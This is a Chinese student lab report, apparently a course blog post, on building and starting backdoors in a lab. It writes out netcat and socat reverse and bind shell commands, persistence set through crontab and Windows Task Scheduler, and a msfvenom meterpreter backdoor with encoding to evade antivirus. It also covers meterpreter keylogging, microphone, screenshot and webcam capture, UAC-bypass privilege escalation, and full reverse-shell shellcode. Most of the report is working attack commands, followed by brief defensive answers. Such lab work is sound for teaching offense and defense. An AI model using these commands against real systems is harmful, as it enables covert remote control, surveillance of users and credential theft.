2019-2020-2 网络对抗技术 20175211 Exp2 后门原理与实践

实验内容

使用netcat获取主机操作Shell,cron启动

netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
其中-e选项可以指定一个文件在连接后打开

Windows主机获取Kali shell

  • kali在终端输入nc 192.168.1.104 23333 -e /bin/sh,将shell反弹给windows

  • windows在cmd下输入nc -lvvp 23333,监听端口

crontab

crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。

根据帮助文档,我们可以知道cron的格式是分钟 小时 每月的日期 月份 星期几 指令
crontab -e编辑,在最后一行增加33 * * * * /bin/netcat 192.168.1.104 23333 -e /bin/sh,表示每天每个小时的第33分钟会执行这条反弹shell的指令。

windows端只要准时listen就可以了

使用socat获取主机操作Shell, 任务计划启动

  • Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
  • 任务计划是windows下和crontab差不多的东西

右键此电脑,选择管理,在任务计划程序中选择创建基本任务

起完名字后,指定启动socat.exe,参数为tcp-listen:5211 exec:cmd.exe,pty,stderr,这样任何人链接5211端口都可以获取shell

设定完时间后,kali准时运行socat - tcp:192.168.1.104:5211,成功收到shell

记得做完实验之后从任务计划程序库中把这条删掉

使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • msfvenom是一个payload生成器和编码器
    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    -e 使用的编码器,用于对shellcode变形,为了免杀。
    -i 编码器的迭代次数。如上即使用该编码器编码5次。
    -b badchar是payload中需要去除的字符。
    LHOST 是反弹回连的IP
    LPORT 是回连的端口
    -f 生成文件的类型
    > 输出到哪个文件

可以用-l来列出所有可选的payload、文件类型、编码器等等,这里我们的目标是windows系统,所以输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f exe > 20175211_backdoor.exe

然后用nc传输,接收端ncat.exe -lvvp 23333 > 20175211_backdoor.exe,发送端nc 192.168.79.134 23333 < 20175211_backdoor.exe

在windows运行这个程序。
kali中

  • msfconsole进入Metaspolit

  • use exploit/multi/handler

  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • set LHOST 192.168.79.137localhost,

  • set LPORT 5211,同样要使用相同的端口

  • show options,查看设置信息,再检查一遍

  • exploit执行,成功

使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • help指令可以看到我们现在能执行的指令,比较有意思的比如下面这两个部分

  • record_mic可以从默认麦克风录音

  • screenshot可以截屏

  • webcam_snap可以调用摄像头,但是由于我的靶机是虚拟机,没有硬件,所以不演示了

  • keyscan_start可以记录键盘按键记录,keyscan_dump可以读取

  • shell可以获取交互式shell

  • getsystem可以提权,这时用户已经和上面不一样了。但是要先用别的洞去打,比如use exploit/windows/local/bypassuac

可选加分内容

  • exploit-db找到x86的反弹shell的shellcode\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80,其指定ip和端口为127.0.0.1:4444,为了简化,我们就在本地实验

  • nc -lvvp 23333 -e pwn1模拟服务端

  • 根据Exp1的结果制作payload,并注入pwn1,nc 192.168.79.137 23333 < shellcode

  • msf中设置

    • use exploit/multi/handler
    • set payload linux/x86/shell_reverse_tcp
    • set LHOST 127.0.0.1
    • set LPORT 4444
    • exploit

    成功

报告内容

基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 钓鱼链接可能会让你下载奇怪的软件
    • 从不可信的第三方下载软件,软件中可能被植入后门
  • (2)例举你知道的后门如何启动起来(win及linux)的方式?
    crontab,任务计划,自启动项

  • (3)Meterpreter有哪些给你映像深刻的功能?
    调用摄像头,看来IT巨头们喜欢把电脑上摄像头贴住不是装装的

  • (4)如何发现自己有系统有没有被安装后门?
    杀软,检查自启动项,有无异常进程,尤其是网络连接

实验总结与体会

这次试验总体来说没有上次难,因为主要是工具的使用,但也是很重要的基本功。希望有机会能更深入了解后门的制作和防范

posted @ 2020-03-15 00:46  MustaphaMond  阅读(224)  评论(0编辑  收藏  举报